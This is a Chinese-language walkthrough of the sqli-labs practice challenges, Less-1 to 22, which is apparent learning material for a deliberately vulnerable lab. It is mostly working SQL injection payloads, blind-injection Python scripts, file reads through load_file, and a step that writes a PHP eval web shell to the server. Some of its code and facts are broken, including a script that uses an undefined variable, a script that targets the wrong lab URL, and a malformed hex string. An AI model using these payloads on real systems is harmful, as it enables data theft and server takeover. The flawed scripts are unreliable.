sqli-labs實戰記錄(一)
前言
最近啊先自己SQL注入確實不行,我只能拿出sql注入的基礎部分來練練收了,這個實驗環境是sqlilabs
一些前置知識
系統函式
介紹幾個常用函式:
1. version()——MySQL 版本
2. user()——資料庫使用者名稱
3. database()——資料庫名
4. @@datadir——資料庫路徑
5. @@version_compile_os——作業系統版本
字串連線函式
1. concat(str1,str2,...)——沒有分隔符地連線字串
2. concat_ws(separator,str1,str2,...)——含有分隔符地連線字串
3. group_concat(str1,str2,...)——連線一個組的所有字串,並以逗號分隔每一條資料
一般用於嘗試的語句
Ps:--+可以用#替換,url 提交過程中Url 編碼後的#為%23
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
正文
Less-1
輸入?id=1’出現報錯
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
凡是出現這種有回顯的報錯是感覺是最好做的注入
常規步驟,暴庫->爆表->爆列
這裡我們是多寫了個單引號導致報錯,我們可以從報錯看得出來這裡是單引號括著id引數
所以我們閉合單引號
構造我們需要的東西
http://192.168.100.105/sqlilabs/Less-1/?id=1%27%23
回顯正常,說明猜測成功
去後臺看一下語句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result =mysql_query($sql);
$row = mysql_fetch_array($result);
是這樣子的,沒有任何過濾
然後開始用order by去猜列數
http://192.168.100.105/sqlilabs/Less-1/?id=1%27 order by 3%23
得到表中應該是三列(用二分法去慢慢測)
然後開始用union select去回顯某一列的東西
http://192.168.100.105/sqlilabs/Less-1/?id=-1%27
union select 1,2,3%23
這裡我們需要把第一句話弄成結果為空才能顯示後面一句話的內容,這裡我選擇id=-1,然後的話就可以回顯2和3,後面就可以利用這兩列回顯你想要的東西了
下面我們就開始要用mysql裡面自帶的information_schema表了
猜表名
http://192.168.100.105/sqlilabs/Less-1/?id=-1%27 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
猜列名
http://192.168.100.105/sqlilabs/Less-1/?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'%23
才猜對應的內容
http://192.168.100.105/sqlilabs/Less-1/?id=-1%27%20union%20select%201,2,concat_ws('%23',username,password)%20from users limit 0,1%23
這一句話只能猜一行,所以要想看其他行的內容就必須要刷一下limit的內容了
Less-2
很無聊,看一下原始碼什麼防禦都沒有
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
http://192.168.100.105/sqlilabs/Less-2/?id=1 order by 5
測試得到3列,然後開始閉合,其實這一題直接註釋了就好
直接上語句
Payload:
http://192.168.100.105/sqlilabs/Less-2/?id=-1 union select 1,2,3#
這時候想測什麼都可以了
Less-3
輸入?id=1’出現報錯
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
可以猜測這裡應該是一個單引號+括號閉合,測試一下對不對
http://192.168.100.105/sqlilabs/Less-3/?id=1') %23
成功回顯
再看看原始碼
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
果然如此
Payload
http://192.168.100.105/sqlilabs/Less-3/?id=-1') union select 1,database(),3%23
Less-4
嘗試?id=1’單引號沒有報錯
嘗試一下”,發現出現報錯
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
猜測是"+)
的組合
閉合一下試試
http://192.168.100.105/sqlilabs/Less-4/?id=1")%23
成功回顯
再看看原始碼果然是這樣
接下來就是payload
http://192.168.100.105/sqlilabs/Less-4/?id=-1") union select 1,database(),3%23
Less-5
根據You are in
的有無來判斷正確
輸入id=1’出現報錯回顯
猜測是單引號的注入
http://192.168.100.105/sqlilabs/Less-5/?id=1%27%23
嘗試閉合一下出現回顯,這個題目有兩種做法,一種是直接嘗試盲注,另一種是報錯注入
首先來一個報錯注入的payload
http://192.168.100.105/sqlilabs/Less-5?id=1' and updatexml(1,concat(0x7e,version(),0x7e),1)%23
然後再來一個盲註腳本
#!/usr/bin/python
# Author:0verWatch
# coding:utf-8
import requests
url = "http://192.168.100.102/sqlilabs/Less-5/?id=1%27 and ascii(substr((select database()),{_},1))={__} %23"
#注意一下這裡使用=去作為判斷條件
#url = "http://192.168.100.102/sqlilabs/Less-5/?id=1%27 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),{_},1))={__} %23"
database = ''
for i in range(1,50):
for j in range(65,127):
payload = url.format(_ = i,__ = j)
#print payload
ans = requests.get(payload)
#print ans.content
if 'You are in...........' in ans.content:
# database = database + chr(j)
# print database
table_name += chr(j)
print table_name
break
Less-6
輸入?id=1’沒有任何反應,雙引號閉合就好了
http://127.0.0.1/sqlilabs/Less-6/?id=1"%23
直接報錯即可
http://127.0.0.1/sqlilabs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e),1)%23
Less-7
是測試寫檔案的功能
直接輸入單引號出現錯誤
You have an error in your SQL syntax
這裡得提及一下如果要讀取以及寫檔案的話必須得需要許可權,這裡我借鑑了一部分內容
匯入匯出相關操作
load_file(file_name):讀取檔案並返回該檔案的內容作為一個字串。
使用條件:
A.必須有許可權讀取並且檔案可讀
and (select count(*) from mysql.user)>0/* 如果結果返回正常,說明具有讀寫許可權。如果返回錯誤,則說明管理員給資料庫降權。
B.欲讀取檔案必須在伺服器上。
C.必須指定檔案完整的路徑
D.欲讀取檔案必須小於max_allowed_packet。
實際應用時,檔案讀取許可權是最難滿足的,我們有兩個難點需要解決:
1.絕對物理路徑
2.構造有效的畸形語句(報錯爆出絕對路徑)
例項:
select 1,2,3,4,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109))))
利用hex()將檔案匯出來,特別是smb檔案
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
explain:c:/boot.ini的十六進位制是0x633s2f626f6f742e696e69
-1 union select 1,1,1,load_file(C:\\boot.ini)
explain:路徑裡的/用\\代替
load data file匯入資料庫
略。
匯入到檔案中
SELECT INTO OUTFILE ‘file_name’,具體參閱其他文章。
file_name 不能是一個已經存在的檔案。
從原始碼裡面可以發現是要閉合)的,所以我們就可以這樣去寫檔案
http://127.0.0.1/sqlilabs/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST[cmd]);?>' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqlilabs\\Less-7\\1.php' --+
Less-8
這一題原始碼裡面將有關報錯資訊全都註釋了只能用盲注
先測試發現還是直接一個單號然後加一個註釋就可以坐後面的事情了
上指令碼
import requests
url = '''http://192.168.100.102/sqlilabs/Less-8/?id=1' and ascii(substr((select database()),{_},1))
>{__} %23'''
database = ''
for i in range(1,9):
max = 127
min = 65
while abs(max-min)>1:
mid = (max+min)//2
payload = url.format(_=i,__=mid)
ans = requests.get(payload)
if 'You are in...........' in ans.content:
min = mid
else:
max = mid
database = database + chr(max)
print database
Less-9
這是一個時間盲注的題目
直接單引號閉合加個註釋其實就ok了,這裡就直接給個爆資料庫的指令碼
import requests
import time
url = '''http://127.0.0.1/sqlilabs/Less-8/?id=1'and if(ascii(substr(database(),{_},1))={__},1,sleep(3))--+'''
database = ""
for i in range(1, 10):
for j in range(97,127):
payload = url.format(_=i,__=j)
print payload
start = time.time()
ans = requests.get(payload)
if time.time()-start >3:
continue
else:
database += chr(j)
print database
break
Less-10
也是一個時間盲注題目,不過這一題是雙引號閉合,把上面的指令碼改為雙引號就好
Less-11
是一個post表格的介面
上來就嘗試
uname=admin' or '1'='1
passwd=123
Less-12
再嘗試Less-11一部分內容,發現不行,沒有報錯資訊
嘗試雙引號
出現報錯
your MySQL server version for the right syntax to use near '")
應該是有一個括號的
嘗試
uname=admin") or 1=1 #
passwd=123
立即過
Less-13
上一題的單引號版本
uname=admin') or 1=1#
passwd=123
Less-14
uname=admin" or 1=1#
passwd=123
Less-15
uname=admin' or '1'='1
passwd=123
Less-16
uname=admin") or 1=1#
passwd=123
Less-17
這一體的注入點在password上,這也提醒了我們,注入點不一定是在第一個輸入框內還有可能是第二輸入框呢!
我們也可以從原始碼的角度去分析,因為原始碼寫了個check函式去檢查username而password反而漏了寫
對應的password我們可以用報錯注入去實現,用單引號閉合password
username: admin
password:1' and updatexml(1,concat(0x7e,database(),0x7e),1)#
爆表
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
爆列
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='user'),0x7e),1)#
爆詳細資訊
這時候輸入這一句話的時候
1' and updatexml(1,concat(0x7e,(select username from users),0x7e),1)#
會出現
You can't specify target table 'users' for update in FROM clause
這是mysql自身的問題不能同時對一個表又select又update,所以我們得構造另外一個表去子查詢
' and updatexml(1,concat(0x7e,(select username from (select username from users)b limit 0,1),0x7e),1)#
介紹一下里面的過濾函式,其他兩個很熟悉就不介紹了
mysql_real_escape_string()
函式轉義SQL 語句中使用的字串中的特殊字元。
下列字元受影響:
\x00
\n
\r
\
'
"
\x1a
如果成功,則該函式返回被轉義的字串。如果失敗,則返回false。
Less-18
一進去就顯示ip,可能是http頭注入
檢視原始碼我們是要登入進去後才能注入,利用的是insert的那一部分語句
先在user-agent那裡輸入1’ 會出現報錯
MySQL server version for the right syntax to use near '127.0.0.1', 'admin')'
再嘗試一下1' and '1'='1
出現回顯沒有報錯
Your User Agent is: 1' and '1'='1
現在就可以直接使用報錯注入了
1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
Less-19
從上一題開始這裡的每一道題目都需要登陸一下才行
這一次回顯的是在referer上面
嘗試在referer上面測試1’ and ‘1’=’1
直接回顯
說明這一次的注入點是在referer上面
然後像剛才一樣直接報錯就好
Referer: 1' and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1
Less-20
登陸後發現很明顯的cookie字樣猜測應該是cookie注入
退出後嘗試在http頭處嘗試cookie
uname=admin';
出現報錯
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'' LIMIT 0,1' at line 1
應該是單引號閉合
再嘗試
uname=admin' or '1'='1
成功回顯
下面就很好辦了,直接報錯注入就好了
uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1
less-21
這一題明顯發現uname那一部分經過了base64加密
我們加上單引號再嘗試加密傳送看一下
uname=YWRtaW4n
出現跟上一題一樣的報錯,看來是一樣的了,就是加上base64加密而已
admin' and updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1
把上面這一串base64加密就好了
YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpIG9yICcxJz0nMQ==
直接回顯你想要的東西,成功
Less-22
這一題就是上一題的套路,只是把單引號筆換成了雙引號而已
uname=YWRtaW4i
出現報錯
直接admin" or "1"="1
閉合一下加密提交就好
uname=YWRtaW4iIG9yICIxIj0iMQ==
回顯正常
開始報錯注入
admin" and updatexml(1,concat(0x7e,database(),0x7e),1) or "1"="1
加密得到
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpIG9yICIxIj0iMQ==
回顯資料庫成功
小結
SQLi-LABS Page-1(Basic Challenges)的22題就已經全部完爆了
這裡面的22道題目都是把一些常見的注入型別給過了一遍,我覺得大概都是四種類型
聯合查詢注入
報錯注入
bool盲注
時間盲注
後面的從18關開始就開始是http頭的注入,但無論是什麼注入,關鍵是要找到注入點在哪裡,然後用合適的方法去閉合相關語句,然後再用正常的語句去查詢你所需要的資訊就好了